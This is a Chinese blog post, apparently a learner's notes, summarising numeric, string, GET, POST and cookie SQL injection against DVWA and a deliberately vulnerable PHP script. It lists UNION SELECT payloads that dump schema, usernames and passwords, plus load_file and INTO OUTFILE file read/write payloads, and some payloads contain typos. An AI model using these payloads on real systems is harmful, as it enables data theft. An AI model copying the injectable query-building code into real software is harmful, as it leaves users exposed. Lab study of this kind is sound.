前言:

继续进行未完成的sql注入学习

今天学习了各类型注入。前来进行总结。

目录:

数字型注入

字符型注入

提交注注入

GET注入

POST注入

COOKIE注入

正文:

 

数字型注入:www.xxxx.com?/xx.php?id=1 and 1=1
可以直接注入不需要闭合单引号.
sql执行出的语句:select * from user where id=1 and 1=1
 
 
需要闭合注入,否则注入语句都会变为字符串
sql执行出的语句:select * from where frit_name=’lis’
 
 
 
判断是否为字符型注入: DVWA为例子
输入1返回正确

 

输入1’返回错误

 

 
 
由此可以判断出为字符型注入
尝试猜字段
1′ order by 1 #

 

1′ order by 1,2 #

 

1′ order by 1,2,3 #,报错,字段为2
爆显位
1′ union select 1,2 #
获取数据库名,1′ union select database(),2 #
用户名 1′ union select user(),2 #  root权限
数据库版本 1′ union select vsersion(),2 #
猜解所有表名 1′ union select table_name,2 from information_schema.tables #
猜解所有字段名 1′ union select column_name,2 from information_columns #
读取文件= =读不出来蛮尴尬的。
1′ union select load_file(‘xxx’),2 #

写入文件的语句

1′ union select ‘xxxxx’ into outfile ‘xxx.txt’ #

 

GET注入:

GET注入,顾名思义GET。只要注入的时候

用GET的方式提交就好。

and 1=1

and 1=2

order by 1,2,3

union select database(),version(),user()

union select table_name,2,3 from information_schema where table_schema=HEX #指定数据库的HEX编码

union select column_name,2,3 from informtaion_schema where table_name=HEX #指定数据库的HEX编码

union select 指定字段名 from 指定表名 例:union select username,password from user

 

POST注入:

提交方式用POST方式提交

POST.html代码

 

  1. <html>
  2. <head>
  3. <title>POST注入</title>
  4. </head>
  5. <body>
  6. <div style="color:blue;text-align:center">
  7. <h2>POST注入尝试</h2>
  8. <form action="sqlin.php" method="POST">
  9. <input type="text" name="x">
  10. <input type="submit" value="提交">
  11. </form>
  12. </div>
  13. </body>
  14. </html>

  

sqllin.php代码

  1. //fendo数据库root用户连接mysql数据库,操作user表
  2. <?
  3. $id= $_POST['x'];//接受get传递的参数名x的值并赋值给变量id
  4. $conn = mysql_connect('127.0.0.1','root','root');//连接mysql数据库
  5. mysql_select_db('fendo',$conn);//选择$conn连接请求下的test数据库名
  6. $sql = "select * from user where id=$id";//定义sql语句并组合变量id
  7. $result = mysql_query($sql);//执行sql语句并返回给变量result
  8. while($row = mysql_fetch_array($result)){//遍历数组数据并显示
  9. echo "ID".$row['id']."</br>";
  10. echo "用户名".$row['username']."</br>";
  11. echo "密码".$row['password']."</br>";
  12. }
  13. mysql_close($conn);//关闭数据库连接
  14. echo "<hr>";
  15. echo "当前语句:";
  16. echo $sql;
  17. ?>

 尝试注入

1 and 1=1

1 and 1=2

存在注入。

猜长度

1 order by 1 #返回正常

1 order by 1,2 #返回正常

1 order by 1,2,3 #返回正常

1 order by 1,2,3,4 #返回错误

长度为3

获取数据库名,数据库版本,数据库用户

1 union select databse(),version(),user()

爆出DVWA的表

1 union select table_name,2,3 from information_schema.tables where table_schema=0x64767761

 

爆出DVWA下users表的字段

1 union select column_name,2,3 from inforamtion_schema.columns where table_name=0x7573657273

爆出我要的字段

1 union select username,password,3 from user

Cookie注入:

cookie注入:点我看详细注入

学习完这些后,可以画出这么一幅图

盲注目前还没学

版权声明:本文为haq5201314原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://www.cnblogs.com/haq5201314/p/8832617.html